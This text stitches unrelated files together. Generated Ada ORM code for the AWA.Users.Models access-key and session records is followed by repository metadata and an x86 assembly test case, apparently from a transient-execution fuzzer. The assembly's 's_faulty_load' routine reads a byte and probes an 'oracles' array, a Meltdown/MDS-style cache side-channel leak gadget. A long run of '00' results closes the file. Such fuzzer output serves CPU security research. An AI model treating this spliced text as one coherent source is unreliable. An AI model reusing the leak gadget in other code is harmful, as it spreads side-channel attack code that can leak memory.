return ADO.Identifier is
Impl : constant Access_Key_Access
:= Access_Key_Impl (Object.Get_Object.all)'Access;
begin
return Impl.Get_Key_Value;
end Get_Id;
function Get_Version (Object : in Access_Key_Ref)
return Integer is
Impl : constant Access_Key_Access
:= Access_Key_Impl (Object.Get_Load_Object.all)'Access;
begin
return Impl.Version;
end Get_Version;
procedure Set_Kind (Object : in out Access_Key_Ref;
Value : in AWA.Users.Models.Key_Type) is
procedure Set_Field_Enum is
new ADO.Objects.Set_Field_Operation (Key_Type);
Impl : Access_Key_Access;
begin
Set_Field (Object, Impl);
Set_Field_Enum (Impl.all, 5, Impl.Kind, Value);
end Set_Kind;
function Get_Kind (Object : in Access_Key_Ref)
return AWA.Users.Models.Key_Type is
Impl : constant Access_Key_Access
:= Access_Key_Impl (Object.Get_Load_Object.all)'Access;
begin
return Impl.Kind;
end Get_Kind;
procedure Set_User (Object : in out Access_Key_Ref;
Value : in AWA.Users.Models.User_Ref'Class) is
Impl : Access_Key_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_Object (Impl.all, 6, Impl.User, Value);
end Set_User;
function Get_User (Object : in Access_Key_Ref)
return AWA.Users.Models.User_Ref'Class is
Impl : constant Access_Key_Access
:= Access_Key_Impl (Object.Get_Load_Object.all)'Access;
begin
return Impl.User;
end Get_User;
-- Copy of the object.
procedure Copy (Object : in Access_Key_Ref;
Into : in out Access_Key_Ref) is
Result : Access_Key_Ref;
begin
if not Object.Is_Null then
declare
Impl : constant Access_Key_Access
:= Access_Key_Impl (Object.Get_Load_Object.all)'Access;
Copy : constant Access_Key_Access
:= new Access_Key_Impl;
begin
ADO.Objects.Set_Object (Result, Copy.all'Access);
Copy.Copy (Impl.all);
Copy.Access_Key := Impl.Access_Key;
Copy.Expire_Date := Impl.Expire_Date;
Copy.Version := Impl.Version;
Copy.Kind := Impl.Kind;
Copy.User := Impl.User;
end;
end if;
Into := Result;
end Copy;
procedure Find (Object : in out Access_Key_Ref;
Session : in out ADO.Sessions.Session'Class;
Query : in ADO.SQL.Query'Class;
Found : out Boolean) is
Impl : constant Access_Key_Access := new Access_Key_Impl;
begin
Impl.Find (Session, Query, Found);
if Found then
ADO.Objects.Set_Object (Object, Impl.all'Access);
else
ADO.Objects.Set_Object (Object, null);
Destroy (Impl);
end if;
end Find;
procedure Load (Object : in out Access_Key_Ref;
Session : in out ADO.Sessions.Session'Class;
Id : in ADO.Identifier) is
Impl : constant Access_Key_Access := new Access_Key_Impl;
Found : Boolean;
Query : ADO.SQL.Query;
begin
Query.Bind_Param (Position => 1, Value => Id);
Query.Set_Filter ("id = ?");
Impl.Find (Session, Query, Found);
if not Found then
Destroy (Impl);
raise ADO.Objects.NOT_FOUND;
end if;
ADO.Objects.Set_Object (Object, Impl.all'Access);
end Load;
procedure Load (Object : in out Access_Key_Ref;
Session : in out ADO.Sessions.Session'Class;
Id : in ADO.Identifier;
Found : out Boolean) is
Impl : constant Access_Key_Access := new Access_Key_Impl;
Query : ADO.SQL.Query;
begin
Query.Bind_Param (Position => 1, Value => Id);
Query.Set_Filter ("id = ?");
Impl.Find (Session, Query, Found);
if not Found then
Destroy (Impl);
else
ADO.Objects.Set_Object (Object, Impl.all'Access);
end if;
end Load;
procedure Save (Object : in out Access_Key_Ref;
Session : in out ADO.Sessions.Master_Session'Class) is
Impl : ADO.Objects.Object_Record_Access := Object.Get_Object;
begin
if Impl = null then
Impl := new Access_Key_Impl;
ADO.Objects.Set_Object (Object, Impl);
end if;
if not ADO.Objects.Is_Created (Impl.all) then
Impl.Create (Session);
else
Impl.Save (Session);
end if;
end Save;
procedure Delete (Object : in out Access_Key_Ref;
Session : in out ADO.Sessions.Master_Session'Class) is
Impl : constant ADO.Objects.Object_Record_Access := Object.Get_Object;
begin
if Impl /= null then
Impl.Delete (Session);
end if;
end Delete;
-- --------------------
-- Free the object
-- --------------------
procedure Destroy (Object : access Access_Key_Impl) is
type Access_Key_Impl_Ptr is access all Access_Key_Impl;
procedure Unchecked_Free is new Ada.Unchecked_Deallocation
(Access_Key_Impl, Access_Key_Impl_Ptr);
pragma Warnings (Off, "*redundant conversion*");
Ptr : Access_Key_Impl_Ptr := Access_Key_Impl (Object.all)'Access;
pragma Warnings (On, "*redundant conversion*");
begin
Unchecked_Free (Ptr);
end Destroy;
procedure Find (Object : in out Access_Key_Impl;
Session : in out ADO.Sessions.Session'Class;
Query : in ADO.SQL.Query'Class;
Found : out Boolean) is
Stmt : ADO.Statements.Query_Statement
:= Session.Create_Statement (Query, ACCESS_KEY_DEF'Access);
begin
Stmt.Execute;
if Stmt.Has_Elements then
Object.Load (Stmt, Session);
Stmt.Next;
Found := not Stmt.Has_Elements;
else
Found := False;
end if;
end Find;
overriding
procedure Load (Object : in out Access_Key_Impl;
Session : in out ADO.Sessions.Session'Class) is
Found : Boolean;
Query : ADO.SQL.Query;
Id : constant ADO.Identifier := Object.Get_Key_Value;
begin
Query.Bind_Param (Position => 1, Value => Id);
Query.Set_Filter ("id = ?");
Object.Find (Session, Query, Found);
if not Found then
raise ADO.Objects.NOT_FOUND;
end if;
end Load;
procedure Save (Object : in out Access_Key_Impl;
Session : in out ADO.Sessions.Master_Session'Class) is
Stmt : ADO.Statements.Update_Statement
:= Session.Create_Statement (ACCESS_KEY_DEF'Access);
begin
if Object.Is_Modified (1) then
Stmt.Save_Field (Name => COL_0_3_NAME, -- access_key
Value => Object.Access_Key);
Object.Clear_Modified (1);
end if;
if Object.Is_Modified (2) then
Stmt.Save_Field (Name => COL_1_3_NAME, -- expire_date
Value => Object.Expire_Date);
Object.Clear_Modified (2);
end if;
if Object.Is_Modified (3) then
Stmt.Save_Field (Name => COL_2_3_NAME, -- id
Value => Object.Get_Key);
Object.Clear_Modified (3);
end if;
if Object.Is_Modified (5) then
Stmt.Save_Field (Name => COL_4_3_NAME, -- kind
Value => Integer (Key_Type'Pos (Object.Kind)));
Object.Clear_Modified (5);
end if;
if Object.Is_Modified (6) then
Stmt.Save_Field (Name => COL_5_3_NAME, -- user_id
Value => Object.User);
Object.Clear_Modified (6);
end if;
if Stmt.Has_Save_Fields then
Object.Version := Object.Version + 1;
Stmt.Save_Field (Name => "version",
Value => Object.Version);
Stmt.Set_Filter (Filter => "id = ? and version = ?");
Stmt.Add_Param (Value => Object.Get_Key);
Stmt.Add_Param (Value => Object.Version - 1);
declare
Result : Integer;
begin
Stmt.Execute (Result);
if Result /= 1 then
if Result /= 0 then
raise ADO.Objects.UPDATE_ERROR;
else
raise ADO.Objects.LAZY_LOCK;
end if;
end if;
end;
end if;
end Save;
procedure Create (Object : in out Access_Key_Impl;
Session : in out ADO.Sessions.Master_Session'Class) is
Query : ADO.Statements.Insert_Statement
:= Session.Create_Statement (ACCESS_KEY_DEF'Access);
Result : Integer;
begin
Object.Version := 1;
Query.Save_Field (Name => COL_0_3_NAME, -- access_key
Value => Object.Access_Key);
Query.Save_Field (Name => COL_1_3_NAME, -- expire_date
Value => Object.Expire_Date);
Session.Allocate (Id => Object);
Query.Save_Field (Name => COL_2_3_NAME, -- id
Value => Object.Get_Key);
Query.Save_Field (Name => COL_3_3_NAME, -- version
Value => Object.Version);
Query.Save_Field (Name => COL_4_3_NAME, -- kind
Value => Integer (Key_Type'Pos (Object.Kind)));
Query.Save_Field (Name => COL_5_3_NAME, -- user_id
Value => Object.User);
Query.Execute (Result);
if Result /= 1 then
raise ADO.Objects.INSERT_ERROR;
end if;
ADO.Objects.Set_Created (Object);
end Create;
procedure Delete (Object : in out Access_Key_Impl;
Session : in out ADO.Sessions.Master_Session'Class) is
Stmt : ADO.Statements.Delete_Statement
:= Session.Create_Statement (ACCESS_KEY_DEF'Access);
begin
Stmt.Set_Filter (Filter => "id = ?");
Stmt.Add_Param (Value => Object.Get_Key);
Stmt.Execute;
end Delete;
-- ------------------------------
-- Get the bean attribute identified by the name.
-- ------------------------------
overriding
function Get_Value (From : in Access_Key_Ref;
Name : in String) return Util.Beans.Objects.Object is
Obj : ADO.Objects.Object_Record_Access;
Impl : access Access_Key_Impl;
begin
if From.Is_Null then
return Util.Beans.Objects.Null_Object;
end if;
Obj := From.Get_Load_Object;
Impl := Access_Key_Impl (Obj.all)'Access;
if Name = "access_key" then
return Util.Beans.Objects.To_Object (Impl.Access_Key);
elsif Name = "expire_date" then
return Util.Beans.Objects.Time.To_Object (Impl.Expire_Date);
elsif Name = "id" then
return ADO.Objects.To_Object (Impl.Get_Key);
elsif Name = "kind" then
return AWA.Users.Models.Key_Type_Objects.To_Object (Impl.Kind);
end if;
return Util.Beans.Objects.Null_Object;
end Get_Value;
-- ------------------------------
-- Load the object from current iterator position
-- ------------------------------
procedure Load (Object : in out Access_Key_Impl;
Stmt : in out ADO.Statements.Query_Statement'Class;
Session : in out ADO.Sessions.Session'Class) is
begin
Object.Access_Key := Stmt.Get_Unbounded_String (0);
Object.Expire_Date := Stmt.Get_Time (1);
Object.Set_Key_Value (Stmt.Get_Identifier (2));
Object.Kind := Key_Type'Val (Stmt.Get_Integer (4));
if not Stmt.Is_Null (5) then
Object.User.Set_Key_Value (Stmt.Get_Identifier (5), Session);
end if;
Object.Version := Stmt.Get_Integer (3);
ADO.Objects.Set_Created (Object);
end Load;
function Session_Key (Id : in ADO.Identifier) return ADO.Objects.Object_Key is
Result : ADO.Objects.Object_Key (Of_Type => ADO.Objects.KEY_INTEGER,
Of_Class => SESSION_DEF'Access);
begin
ADO.Objects.Set_Value (Result, Id);
return Result;
end Session_Key;
function Session_Key (Id : in String) return ADO.Objects.Object_Key is
Result : ADO.Objects.Object_Key (Of_Type => ADO.Objects.KEY_INTEGER,
Of_Class => SESSION_DEF'Access);
begin
ADO.Objects.Set_Value (Result, Id);
return Result;
end Session_Key;
function "=" (Left, Right : Session_Ref'Class) return Boolean is
begin
return ADO.Objects.Object_Ref'Class (Left) = ADO.Objects.Object_Ref'Class (Right);
end "=";
procedure Set_Field (Object : in out Session_Ref'Class;
Impl : out Session_Access) is
Result : ADO.Objects.Object_Record_Access;
begin
Object.Prepare_Modify (Result);
Impl := Session_Impl (Result.all)'Access;
end Set_Field;
-- Internal method to allocate the Object_Record instance
procedure Allocate (Object : in out Session_Ref) is
Impl : Session_Access;
begin
Impl := new Session_Impl;
Impl.Start_Date := ADO.DEFAULT_TIME;
Impl.End_Date.Is_Null := True;
Impl.Stype := AWA.Users.Models.Session_Type'First;
Impl.Version := 0;
Impl.Server_Id := 0;
ADO.Objects.Set_Object (Object, Impl.all'Access);
end Allocate;
-- ----------------------------------------
-- Data object: Session
-- ----------------------------------------
procedure Set_Start_Date (Object : in out Session_Ref;
Value : in Ada.Calendar.Time) is
Impl : Session_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_Time (Impl.all, 1, Impl.Start_Date, Value);
end Set_Start_Date;
function Get_Start_Date (Object : in Session_Ref)
return Ada.Calendar.Time is
Impl : constant Session_Access
:= Session_Impl (Object.Get_Load_Object.all)'Access;
begin
return Impl.Start_Date;
end Get_Start_Date;
procedure Set_End_Date (Object : in out Session_Ref;
Value : in ADO.Nullable_Time) is
Impl : Session_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_Time (Impl.all, 2, Impl.End_Date, Value);
end Set_End_Date;
function Get_End_Date (Object : in Session_Ref)
return ADO.Nullable_Time is
Impl : constant Session_Access
:= Session_Impl (Object.Get_Load_Object.all)'Access;
begin
return Impl.End_Date;
end Get_End_Date;
procedure Set_Ip_Address (Object : in out Session_Ref;
Value : in String) is
Impl : Session_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_String (Impl.all, 3, Impl.Ip_Address, Value);
end Set_Ip_Address;
procedure Set_Ip_Address (Object : in out Session_Ref;
Value : in Ada.Strings.Unbounded.Unbounded_String) is
Impl : Session_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_Unbounded_String (Impl.all, 3, Impl.Ip_Address, Value);
end Set_Ip_Address;
function Get_Ip_Address (Object : in Session_Ref)
return String is
begin
return Ada.Strings.Unbounded.To_String (Object.Get_Ip_Address);
end Get_Ip_Address;
function Get_Ip_Address (Object : in Session_Ref)
return Ada.Strings.Unbounded.Unbounded_String is
Impl : constant Session_Access
:= Session_Impl (Object.Get_Load_Object.all)'Access;
begin
return Impl.Ip_Address;
end Get_Ip_Address;
procedure Set_Stype (Object : in out Session_Ref;
Value : in AWA.Users.Models.Session_Type) is
procedure Set_Field_Enum is
new ADO.Objects.Set_Field_Operation (Session_Type);
Impl : Session_Access;
begin
Set_Field (Object, Impl);
Set_Field_Enum (Impl.all, 4, Impl.Stype, Value);
end Set_Stype;
function Get_Stype (Object : in Session_Ref)
return AWA.Users.Models.Session_Type is
Impl : constant Session_Access
:= Session_Impl (Object.Get_Load_Object.all)'Access;
begin
return Impl.Stype;
end Get_Stype;
function Get_Version (Object : in Session_Ref)
return Integer is
Impl : constant Session_Access
:= Session_Impl (Object.Get_Load_Object.all)'Access;
begin
return Impl.Version;
end Get_Version;
procedure Set_Server_Id (Object : in out Session_Ref;
Value : in Integer) is
Impl : Session_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_Integer (Impl.all, 6, Impl.Server_Id, Value);
end Set_Server_Id;
function Get_Server_Id (Object : in Session_Ref)
return Integer is
Impl : constant Session_Access
:= Session_Impl (Object.Get_Load_Object.all)'Access;
begin
return Impl.Server_Id;
end Get_Server_Id;
procedure Set_Id (Object : in out Session_Ref;
Value : in ADO.Identifier) is
Impl : Session_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_Key_Value (Impl.all, 7, Value);
end Set_Id;
function Get_Id (Object : in Session_Ref)
return ADO.Identifier is
Impl : constant Session_Access
:= Session_Impl (Object.Get_Object.all)'Access;
begin
return Impl.Get_Key_Value;
end Get_Id;
procedure Set_Auth (Object : in out Session_Ref;
Value : in AWA.Users.Models.Session_Ref'Class) is
Impl : Session_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_Object (Impl.all, 8, Impl.Auth, Value);
end Set_Auth;
function Get_Auth (Object : in Session_Ref)
return AWA.Users.Models.Session_Ref'Class is
Impl : constant Session_Access
:= Session_Impl (Object.Get_Load_Object.all)'Access;
begin
return Impl.Auth;
end Get_Auth;
procedure Set_User (Object : in out Session_Ref;
Value : in AWA.Users.Models.User_Ref'Class) is
Impl : Session_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_Object (Impl.all, 9, Impl.User, Value);
end Set_User;
function Get_User (Object : in Session_Ref)
return AWA.Users.Models.User_Ref'Class is
Impl : constant Session_Access
:= Session_Impl (Object.Get_Load_Object.all)'Access;
begin
return Impl.User;
end Get_User;
-- Copy of the object.
procedure Copy (Object : in Session_Ref;
Into : in out Session_Ref) is
Result : Session_Ref;
begin
if not Object.Is_Null then
declare
Impl : constant Session_Access
:= Session_Impl (Object.Get_Load_Object.all)'Access;
Copy : constant Session_Access
:= new Session_Impl;
begin
ADO.Objects.Set_Object (Result, Copy.all'Access);
Copy.Copy (Impl.all);
Copy.Start_Date := Impl.Start_Date;
Copy.End_Date := Impl.End_Date;
Copy.Ip_Address := Impl.Ip_Address;
Copy.Stype := Impl.Stype;
Copy.Version := Impl.Version;
Copy.Server_Id := Impl.Server_Id;
Copy.Auth := Impl.Auth;
Copy.User := Impl.User;
end;
end if;
Into := Result;
end Copy;
procedure Find (Object : in out Session_Ref;
Session : in out ADO.Sessions.Session'Class;
Query : in ADO.SQL.Query'Class;
Found : out Boolean) is
Impl : constant Session_Access := new Session_Impl;
begin
Impl.Find (Session, Query, Found);
if Found then
ADO.Objects.Set_Object (Object, Impl.all'Access);
else
ADO.Objects.Set_Object (Object, null);
Destroy (Impl);
end if;
end Find;
procedure Load (Object : in out Session_Ref;
Session : in out ADO.Sessions.Session'Class;
Id : in ADO.Identifier) is
Impl : constant Session_Access := new Session_Impl;
Found : Boolean;
Query : ADO.SQL.Query;
begin
Query.Bind_Param (Position => 1, Value => Id);
Query.Set_Filter ("id = ?");
Impl.Find (Session, Query, Found);
if not Found then
Destroy (Impl);
raise ADO.Objects.NOT_FOUND;
end if;
ADO.Objects.Set_Object (Object, Impl.all'Access);
end Load;
procedure Load (Object : in out Session_Ref;
Session : in out ADO.Sessions.Session'Class;
Id : in ADO.Identifier;
Found : out Boolean) is
Impl : constant Session_Access := new Session_Impl;
Query : ADO.SQL.Query;
begin
Query.Bind_Param (Position => 1, Value => Id);
Query.Set_Filter ("id = ?");
Impl.Find (Session, Query, Found);
if not Found then
Destroy (Impl);
else
ADO.Objects.Set_Object (Object, Impl.all'Access);
end if;
end Load;
procedure Save (Object : in out Session_Ref;
Session : in out ADO.Sessions.Master_Session'Class) is
Impl : ADO.Objects.Object_Record_Access := Object.Get_Object;
begin
if Impl = null then
Impl := new Session_Impl;
ADO.Objects.Set_Object (Object, Impl);
end if;
if not ADO.Objects.Is_Created (Impl.all) then
Impl.Create (Session);
else
Impl.Save (Session);
end if;
end Save;
procedure Delete (Object : in out Session_Ref;
Session : in out ADO.Sessions.Master_Session'Class) is
Impl : constant ADO.Objects.Object_Record_Access := Object.Get_Object;
begin
if Impl /= null then
Impl.Delete (Session);
end if;
end Delete;
-- --------------------
-- Free the object
-- --------------------
procedure Destroy (Object : access Session_Impl) is
type Session_Impl_Ptr is access all Session_Impl;
procedure Unchecked_Free is new Ada.Unchecked_Deallocation
(Session_Impl, Session_Impl_Ptr);
pragma Warnings (Off, "*redundant conversion*");
Ptr : Session_Impl_Ptr := Session_Impl (Object.all)'Access;
pragma Warnings (On, "*redundant conversion*");
begin
Unchecked_Free (Ptr);
end Destroy;
procedure Find (Object : in out Session_Impl;
Session : in out ADO.Sessions.Session'Class;
Query : in ADO.SQL.Query'Class;
Found : out Boolean) is
Stmt : ADO.Statements.Query_Statement
:= Session.Create_Statement (Query, SESSION_DEF'Access);
begin
Stmt.Execute;
if Stmt.Has_Elements then
Object.Load (Stmt, Session);
Stmt.Next;
Found := not Stmt.Has_Elements;
else
Found := False;
end if;
end Find;
overriding
procedure Load (Object : in out Session_Impl;
Session : in out ADO.Sessions.Session'Class) is
Found : Boolean;
Query : ADO.SQL.Query;
Id : constant ADO.Identifier := Object.Get_Key_Value;
begin
Query.Bind_Param (Position => 1, Value => Id);
Query.Set_Filter ("id = ?");
Object.Find (Session, Query, Found);
if not Found then
raise ADO.Objects.NOT_FOUND;
end if;
end Load;
procedure Save (Object : in out Session_Impl;
Session : in out ADO.Sessions.Master_Session'Class) is
Stmt : ADO.Statements.Update_Statement
:= Session.Create_Statement (SESSION_DEF'Access);
begin
if Object.Is_Modified (1) then
Stmt.Save_Field (Name => COL_0_4_NAME, -- start_date
Value => Object.Start_Date);
Object.Clear_Modified (1);
end if;
if Object.Is_Modified (2) then
Stmt.Save_Field (Name => COL_1_4_NAME, -- end_date
Value => Object.End_Date);
Object.Clear_Modified (2);
end if;
if Object.Is_Modified (3) then
Stmt.Save_Field (Name => COL_2_4_NAME, -- ip_address
Value => Object.Ip_Address);
Object.Clear_Modified (3);
end if;
if Object.Is_Modified (4) then
Stmt.Save_Field (Name => COL_3_4_NAME, -- stype
Value => Integer (Session_Type'Pos (Object.Stype)));
Object.Clear_Modified (4);
end if;
if Object.Is_Modified (6) then
Stmt.Save_Field (Name => COL_5_4_NAME, -- server_id
Value => Object.Server_Id);
Object.Clear_Modified (6);
end if;
if Object.Is_Modified (7) then
Stmt.Save_Field (Name => COL_6_4_NAME, -- id
Value => Object.Get_Key);
Object.Clear_Modified (7);
end if;
if Object.Is_Modified (8) then
Stmt.Save_Field (Name => COL_7_4_NAME, -- auth_id
Value => Object.Auth);
Object.Clear_Modified (8);
end if;
if Object.Is_Modified (9) then
Stmt.Save_Field (Name => COL_8_4_NAME, -- user_id
Value => Object.User);
Object.Clear_Modified (9);
end if;
if Stmt.Has_Save_Fields then
Object.Version := Object.Version + 1;
Stmt.Save_Field (Name => "version",
Value => Object.Version);
Stmt.Set_Filter (Filter => "id = ? and version = ?");
Stmt.Add_Param (Value => Object.Get_Key);
Stmt.Add_Param (Value => Object.Version - 1);
declare
Result : Integer;
begin
Stmt.Execute (Result);
if Result /= 1 then
if Result /= 0 then
raise ADO.Objects.UPDATE_ERROR;
else
raise ADO.Objects.LAZY_LOCK;
end if;
end if;
end;
end if;
end Save;
procedure Create (Object : in out Session_Impl;
Session : in out ADO.Sessions.Master_Session'Class) is
Query : ADO.Statements.Insert_Statement
:= Session.Create_Statement (SESSION_DEF'Access);
Result : Integer;
begin
Object.Version := 1;
Query.Save_Field (Name => COL_0_4_NAME, -- start_date
Value => Object.Start_Date);
Query.Save_Field (Name => COL_1_4_NAME, -- end_date
Value => Object.End_Date);
Query.Save_Field (Name => COL_2_4_NAME, -- ip_address
Value => Object.Ip_Address);
Query.Save_Field (Name => COL_3_4_NAME, -- stype
Value => Integer (Session_Type'Pos (Object.Stype)));
Query.Save_Field (Name => COL_4_4_NAME, -- version
Value => Object.Version);
Query.Save_Field (Name => COL_5_4_NAME, -- server_id
Value => Object.Server_Id);
Session.Allocate (Id => Object);
Query.Save_Field (Name => COL_6_4_NAME, -- id
Value => Object.Get_Key);
Query.Save_Field (Name => COL_7_4_NAME, -- auth_id
Value => Object.Auth);
Query.Save_Field (Name => COL_8_4_NAME, -- user_id
Value => Object.User);
Query.Execute (Result);
if Result /= 1 then
raise ADO.Objects.INSERT_ERROR;
end if;
ADO.Objects.Set_Created (Object);
end Create;
procedure Delete (Object : in out Session_Impl;
Session : in out ADO.Sessions.Master_Session'Class) is
Stmt : ADO.Statements.Delete_Statement
:= Session.Create_Statement (SESSION_DEF'Access);
begin
Stmt.Set_Filter (Filter => "id = ?");
Stmt.Add_Param (Value => Object.Get_Key);
Stmt.Execute;
end Delete;
-- ------------------------------
-- Get the bean attribute identified by the name.
-- ------------------------------
overriding
function Get_Value (From : in Session_Ref;
Name : in String) return Util.Beans.Objects.Object is
Obj : ADO.Objects.Object_Record_Access;
Impl : access Session_Impl;
begin
if From.Is_Null then
return Util.Beans.Objects.Null_Object;
end if;
Obj := From.Get_Load_Object;
Impl := Session_Impl (Obj.all)'Access;
if Name = "start_date" then
return Util.Beans.Objects.Time.To_Object (Impl.Start_Date);
elsif Name = "end_date" then
if Impl.End_Date.Is_Null then
return Util.Beans.Objects.Null_Object;
else
return Util.Beans.Objects.Time.To_Object (Impl.End_Date.Value);
end if;
elsif Name = "ip_address" then
return Util.Beans.Objects.To_Object (Impl.Ip_Address);
elsif Name = "stype" then
return AWA.Users.Models.Session_Type_Objects.To_Object (Impl.Stype);
elsif Name = "server_id" then
return Util.Beans.Objects.To_Object (Long_Long_Integer (Impl.Server_Id));
elsif Name = "id" then
return ADO.Objects.To_Object (Impl.Get_Key);
end if;
return Util.Beans.Objects.Null_Object;
end Get_Value;
-- ------------------------------
-- Load the object from current iterator position
-- ------------------------------
procedure Load (Object : in out Session_Impl;
Stmt : in out ADO.Statements.Query_Statement'Class;
Session : in out ADO.Sessions.Session'Class) is
begin
Object.Start_Date := Stmt.Get_Time (0);
Object.End_Date := Stmt.Get_Time (1);
Object.Ip_Address := Stmt.Get_Unbounded_String (2);
Object.Stype := Session_Type'Val (Stmt.Get_Integer (3));
Object.Server_Id := Stmt.Get_Integer (5);
Object.Set_Key_Value (Stmt.Get_Identifier (6));
if not Stmt.Is_Null (7) then
Object.Auth.Set_Key_Value (Stmt.Get_Identifier (7), Session);
end if;
if not Stmt.Is_Null (8) then
Object.User.Set_Key_Value (Stmt.Get_Identifier (8), Session);
end if;
Object.Version := Stmt.Get_Integer (4);
ADO.Objects.Set_Created (Object);
end Load;
end AWA.Users.Models;
|
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_0.asm | ljhsiun2/medusa | 9 | 176060 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r15
push %r8
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x1af7b, %rsi
lea addresses_A_ht+0x1a5bb, %rdi
clflush (%rdi)
nop
nop
nop
nop
inc %r8
mov $72, %rcx
rep movsb
nop
lfence
lea addresses_normal_ht+0x169e7, %r14
clflush (%r14)
nop
cmp $46120, %r15
movl $0x61626364, (%r14)
nop
nop
nop
nop
inc %r8
lea addresses_WT_ht+0xc77b, %r14
nop
nop
nop
nop
dec %r15
vmovups (%r14), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $0, %xmm6, %rcx
nop
and %r14, %r14
lea addresses_UC_ht+0x10b7b, %rsi
nop
nop
nop
nop
add %r9, %r9
mov $0x6162636465666768, %r14
movq %r14, %xmm2
movups %xmm2, (%rsi)
nop
nop
nop
nop
nop
xor $7811, %rdi
lea addresses_WT_ht+0x1ac8b, %rsi
lea addresses_A_ht+0xd813, %rdi
inc %r9
mov $24, %rcx
rep movsw
nop
nop
add %r14, %r14
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r15
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r8
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_normal+0xe487, %rsi
lea addresses_WC+0xea7b, %rdi
nop
nop
nop
nop
sub $3354, %rax
mov $7, %rcx
rep movsl
nop
nop
nop
cmp $22401, %rcx
// Faulty Load
lea addresses_WT+0x19f7b, %rbx
nop
dec %r8
movb (%rbx), %cl
lea oracles, %rbp
and $0xff, %rcx
shlq $12, %rcx
mov (%rbp,%rcx,1), %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r8
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': True, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WC', 'congruent': 8, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 1, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 7, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 10, 'size': 16, 'same': True, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 